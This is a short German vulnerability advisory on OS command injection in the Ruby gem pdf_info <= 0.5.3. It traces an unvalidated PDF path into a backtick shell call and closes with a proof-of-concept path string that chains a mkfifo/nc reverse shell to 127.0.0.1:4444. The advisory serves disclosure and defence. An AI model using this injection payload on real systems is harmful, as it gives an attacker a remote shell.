
pdf_info <= 0.5.3 OS Command Injection
Das Ruby-Gem pdf_info <= 0.5.3 ist anfällig für OS Command Injection bei der Ausführung einer Methode auf einem PDF::Info-Objekt.
Ein Angreifer kann mithilfe eines speziell präparierten Payloads OS-Befehle durch Befehlschaining (command chaining) ausführen.
Beim Erstellen eines neuen PDF::Info-Objekts wird der initialize-Befehl aufgerufen
def initialize(pdf_path)
@pdf_path = pdf_path
end
Während der Objektinitialisierung wird keine Validierung durchgeführt und der vom Benutzer bereitgestellte Pfad wird verwendet.
Wir können ein PDF::Info-Objekt erstellen und die Metadaten einer PDF-Datei wie folgt zurückgeben.
#!/usr/bin/env ruby
require 'pdf/info'
info = PDF::Info.new("./pdf/sample1.pdf")
pp info.metadata
Wenn wir die metadata-Methode auf dem PDF::Info-Objekt aufrufen, erfolgt ein Aufruf der process_output-Methode, wobei das Argument die command-Methode ist.
Die command-Methode verwendet die Klassenvariable @pdf_info, um den pdfinfo-Befehl auf dem System auszuführen, wobei der folgende Codeausschnitt verwendet wird, um die Ausgabe des Befehls zurückzugeben.
output = `#{self.class.command_path} -enc UTF-8 -f 1 -l -1 "#{@pdf_path}" 2> /dev/null`
Wie bei der initialize-Methode wird auch bei der Variablen @pdf_path keine Validierung durchgeführt. Dies ermöglicht es uns, Befehlschaining mit ; zu verwenden, um einen beliebigen Befehl auszuführen.
info = PDF::Info.new('pdf/sample1.pdf; $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 4444>/tmp/f)')
pp info.metadata
Der obige Codeausschnitt führt eine Reverse Shell zu 127.0.0.1 auf Port 4444 aus.
